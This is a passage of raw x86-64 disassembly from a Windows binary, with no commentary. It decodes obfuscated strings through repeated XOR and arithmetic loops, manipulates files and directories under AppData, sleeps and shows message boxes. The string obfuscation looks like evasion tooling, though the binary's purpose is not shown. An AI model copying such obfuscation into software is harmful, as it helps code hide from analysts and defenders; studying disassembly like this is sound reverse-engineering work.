pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400297c0
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x12b8]
call fcn.140070564
mov rdx, qword [rbp + 0x12b8]
test rdx, rdx
je 0x14002f392
xorps xmm0, xmm0
movups xmmword [rbp + 0x13d0], xmm0
mov qword [rbp + 0x13e0], rbx
mov qword [rbp + 0x13e8], rbx
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140029840
lea rcx, [rbp + 0x13d0]
call fcn.140005560
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e0], xmm0
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], rbx
lea rax, [rbp + 0xd8]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140029880
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x6e0]
call fcn.140005560
nop
mov r8, qword [rbp + 0x13e0]
mov qword [rsp + 0x58], r8
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r8
cmp rax, 1
jb 0x14002fb09
lea rax, [rbp + 0x13d0]
cmp qword [rbp + 0x13e8], 0xf
cmova rax, qword [rbp + 0x13d0]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], rbx
lea r9, [r8 + 1]
mov qword [rbp - 0x80], r9
mov ecx, 0xf
lea rax, [rbp + 0x370]
mov qword [rsp + 0x40], rax
movabs r10, 0x8000000000000000
mov r11d, 0x16
cmp r9, rcx
jbe 0x1400299b6
mov rcx, r9
or rcx, 0xf
cmp rcx, rdx
jbe 0x14002995e
mov qword [rsp + 0x48], rdx
lea rcx, [r10 + 0x27]
call fcn.1400626b8
mov rcx, rax
test rax, rax
je 0x14002fb0f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14002999c
cmp rcx, r11
cmovb rcx, r11
mov qword [rsp + 0x48], rcx
lea rax, [rcx + 1]
test rax, rax
jne 0x14002997d
mov rax, rbx
mov qword [rsp + 0x40], rbx
jmp 0x1400299af
cmp rax, 0x1000
jb 0x140029994
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x14002f821
jmp 0x14002993f
mov rcx, rax
call fcn.1400626b8
mov r9, qword [rbp - 0x80]
mov r8, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x380], r9
mov qword [rbp + 0x388], rcx
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140087ed0
movzx ecx, word [0x14009aab0]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
lea r9, [rbp + 0x6e0]
lea r8, [rbp + 0x370]
lea rcx, [rbp + 0x1370]
call fcn.14005cab0
nop
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x140029a46
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029a41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb15
call fcn.1400626b0
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x6f8]
cmp rdx, 0xf
jbe 0x140029aa0
inc rdx
mov rcx, qword [rbp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029a9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7f2
call fcn.1400626b0
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], 0xf
mov byte [rbp + 0x6e0], 0
lea rcx, [rbp + 0x1370]
cmp qword [rbp + 0x1388], 0xf
cmova rcx, qword [rbp + 0x1370]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140029f57
lea rcx, [rbp + 0x1370]
cmp qword [rbp + 0x1388], 0xf
cmova rcx, qword [rbp + 0x1370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140029f57
movsd xmm0, qword [str.qGDRMK:]
movsd qword [rbp - 0x60], xmm0
mov ecx, dword [0x14009ba68]
mov dword [rbp - 0x58], ecx
movzx eax, word [0x14009ba6c]
mov edx, 0x45
mov word [rbp - 0x60], dx
xor word [rbp - 0x5e], 0x35
xor word [rbp - 0x5c], 0x36
xor word [rbp - 0x5a], 0x37
xor cx, 0x38
mov word [rbp - 0x58], cx
xor word [rbp - 0x56], 0x39
xor ax, 0x3a
mov word [rbp - 0x54], ax
movups xmm4, xmmword [0x14009d660]
movups xmmword [rbp + 0x578], xmm4
movups xmm0, xmmword [0x14009d670]
movups xmmword [rbp + 0x588], xmm0
movups xmm1, xmmword [0x14009d680]
movups xmmword [rbp + 0x598], xmm1
mov eax, dword [0x14009d690]
mov dword [rbp + 0x5a8], eax
movzx eax, word [0x14009d694]
mov word [rbp + 0x5ac], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140029e3e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
pshufhw xmm0, xmm8, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x578], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x580]
xorps xmm3, xmm0
movq qword [rbp + 0x580], xmm3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x588]
xorps xmm3, xmm0
movq qword [rbp + 0x588], xmm3
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
pshufhw xmm0, xmm13, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x590]
xorps xmm3, xmm0
movq qword [rbp + 0x590], xmm3
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x598]
xorps xmm3, xmm0
movq qword [rbp + 0x598], xmm3
movdqa xmm2, xmmword [0x14009e3d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5a0]
xorps xmm3, xmm0
movq qword [rbp + 0x5a0], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x578]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x140029e50
mov r9d, r13d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x578]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x1388]
cmp rdx, 0xf
jbe 0x140029edf
inc rdx
mov rcx, qword [rbp + 0x1370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029eda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fabe
call fcn.1400626b0
mov byte [rbp + 0x1370], 0
mov qword [rbp + 0x1388], 0xf
mov qword [rbp + 0x1380], rbx
mov rdx, qword [rbp + 0x13e8]
cmp rdx, 0xf
jbe 0x140029f39
inc rdx
mov rcx, qword [rbp + 0x13d0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140029f34
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
mov qword [rbp + 0x13e0], rbx
mov qword [rbp + 0x13e8], 0xf
mov byte [rbp + 0x13d0], 0
jmp 0x14002f598
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c0], xmm0
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x6d8], rbx
lea rax, [rbp - 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140029f76
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x6c0]
call fcn.140005560
nop
mov r9, qword [rbp + 0x1380]
mov qword [rsp + 0x48], r9
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r9
cmp rax, 1
jb 0x14002fb1b
lea r10, [rbp + 0x1370]
cmp qword [rbp + 0x1388], 0xf
cmova r10, qword [rbp + 0x1370]
mov qword [rsp + 0x50], r10
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], rbx
lea r8, [r9 + 1]
mov qword [rbp - 0x80], r8
mov ecx, 0xf
lea rax, [rbp + 0x330]
mov qword [rsp + 0x40], rax
cmp r8, rcx
jbe 0x14002a0ae
mov rcx, r8
or rcx, 0xf
cmp rcx, rdx
jbe 0x14002a04b
mov qword [rsp + 0x58], rdx
movabs rcx, 0x8000000000000000
add rcx, 0x27
call fcn.1400626b8
mov rcx, rax
test rax, rax
je 0x14002fb21
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14002a08f
cmp rcx, 0x16
mov eax, 0x16
cmovb rcx, rax
mov qword [rsp + 0x58], rcx
lea rax, [rcx + 1]
test rax, rax
jne 0x14002a070
mov rax, rbx
mov qword [rsp + 0x40], rbx
jmp 0x14002a0a7
cmp rax, 0x1000
jb 0x14002a087
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x14002f827
jmp 0x14002a02c
mov rcx, rax
call fcn.1400626b8
mov r10, qword [rsp + 0x50]
mov r9, qword [rsp + 0x48]
mov r8, qword [rbp - 0x80]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x340], r8
mov qword [rbp + 0x348], rcx
mov r8, r9
mov rdx, r10
mov rcx, rax
call fcn.140087ed0
movzx ecx, word [0x14009aab0]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
lea r9, [rbp + 0x6c0]
lea r8, [rbp + 0x330]
lea rcx, [rbp + 0x1390]
call fcn.14005cab0
nop
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x14002a13f
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a13a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb27
call fcn.1400626b0
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x6d8]
cmp rdx, 0xf
jbe 0x14002a199
inc rdx
mov rcx, qword [rbp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a194
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb51
call fcn.1400626b0
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x6d8], 0xf
mov byte [rbp + 0x6c0], 0
lea rcx, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova rcx, qword [rbp + 0x1390]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14002a47d
lea rcx, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova rcx, qword [rbp + 0x1390]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14002a47d
movsd xmm0, qword [str.qGDRMK:]
movsd qword [rbp - 0x50], xmm0
mov ecx, dword [0x14009ba68]
mov dword [rbp - 0x48], ecx
movzx eax, word [0x14009ba6c]
mov edx, 0x45
mov word [rbp - 0x50], dx
xor word [rbp - 0x4e], 0x35
xor word [rbp - 0x4c], 0x36
xor word [rbp - 0x4a], 0x37
xor cx, 0x38
mov word [rbp - 0x48], cx
xor word [rbp - 0x46], 0x39
xor ax, 0x3a
mov word [rbp - 0x44], ax
movups xmm0, xmmword [0x14009bee0]
movups xmmword [rbp + 0xc60], xmm0
movups xmm1, xmmword [0x14009bef0]
movups xmmword [rbp + 0xc70], xmm1
movups xmm0, xmmword [0x14009bf00]
movups xmmword [rbp + 0xc80], xmm0
movups xmm1, xmmword [0x14009bf10]
movups xmmword [rbp + 0xc90], xmm1
movups xmm0, xmmword [0x14009bf20]
movups xmmword [rbp + 0xca0], xmm0
mov eax, dword [0x14009bf30]
mov dword [rbp + 0xcb0], eax
movzx eax, word [0x14009bf34]
mov word [rbp + 0xcb4], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002a3bf
lea rcx, [rbp + 0xc60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
lea r14d, [r14 + 8]
cmp r8d, 0x28
jl 0x14002a2c0
cmp r8d, 0x2b
jge 0x14002a407
movsxd rax, r8d
lea r9, [rbp + 0xc60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2b
jl 0x14002a3d0
mov r9d, r13d
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0xc60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13a8]
cmp rdx, 0xf
jbe 0x14002a45f
inc rdx
mov rcx, qword [rbp + 0x1390]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14002a45a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7f2
call fcn.1400626b0
mov qword [rbp + 0x13a0], rbx
mov qword [rbp + 0x13a8], 0xf
mov byte [rbp + 0x1390], 0
jmp 0x140029e9e
lea rdx, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova rdx, qword [rbp + 0x1390]
lea rcx, [rbp + 0x20]
call fcn.14001f450
test al, al
je 0x14002efd4
lea rcx, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova rcx, qword [rbp + 0x1390]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x1450]
call fcn.140014bb0
nop
lea rcx, [rbp + 0x1450]
call fcn.14001bff0
call fcn.14001b7f0
call fcn.14001aec0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm4, xmmword [str.cPSSuT]
movups xmmword [rbp + 0x390], xmm4
movups xmm0, xmmword [str._tVZ_5l__F]
movups xmmword [rbp + 0x3a0], xmm0
mov eax, dword [0x14009ca00]
mov dword [rbp + 0x3b0], eax
movzx eax, word [0x14009ca04]
mov word [rbp + 0x3b4], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002a6ff
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x390], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x398]
xorps xmm3, xmm0
movq qword [rbp + 0x398], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3a0]
xorps xmm3, xmm0
movq qword [rbp + 0x3a0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3a8]
xorps xmm3, xmm0
movq qword [rbp + 0x3a8], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x390]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x14002a710
movups xmm4, xmmword [0x14009d710]
movups xmmword [rbp + 0x3b8], xmm4
movups xmm0, xmmword [0x14009d720]
movups xmmword [rbp + 0x3c8], xmm0
mov eax, dword [0x14009d730]
mov dword [rbp + 0x3d8], eax
movzx eax, word [0x14009d734]
mov word [rbp + 0x3dc], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002a951
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x3b8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3c0]
xorps xmm3, xmm0
movq qword [rbp + 0x3c0], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3c8]
xorps xmm3, xmm0
movq qword [rbp + 0x3c8], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3d0]
xorps xmm3, xmm0
movq qword [rbp + 0x3d0], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x3b8]
lea r9, [r9 + rax*2]
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x14002a960
lea rax, [rbp + 0x1b50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14002ef75
xorps xmm0, xmm0
movups xmmword [rbp + 0x620], xmm0
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], rbx
lea rax, [rbp + 0x390]
mov r8, r15
inc r8
cmp word [rax + r8*2], 0
jne 0x14002a9e0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x620]
call fcn.140059c20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x640], xmm0
mov qword [rbp + 0x650], rbx
mov qword [rbp + 0x658], rbx
lea rax, [rbp + 0x3b8]
mov r8, r15
inc r8
cmp word [rax + r8*2], 0
jne 0x14002aa21
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x640]
call fcn.140059c20
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
mov qword [rbp + 0x6b0], rbx
mov qword [rbp + 0x6b8], rbx
lea rax, [rbp + 0x1b50]
nop
inc r15
cmp word [rax + r15*2], 0
jne 0x14002aa60
mov r8, r15
lea rdx, [rbp + 0x1b50]
lea rcx, [rbp + 0x6a0]
call fcn.140059c20
nop
mov r8d, 1
lea rdx, [0x14009aab4]
lea rcx, [rbp + 0x6a0]
call fcn.140052040
xorps xmm0, xmm0
movups xmmword [rbp + 0x448], xmm0
mov qword [rbp + 0x458], rbx
mov qword [rbp + 0x460], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x448], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x458], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x640]
lea r8, [rbp + 0x448]
lea rcx, [rbp + 0x860]
call fcn.14005c860
nop
mov r8d, 1
lea rdx, [0x14009aab4]
lea rcx, [rbp + 0x860]
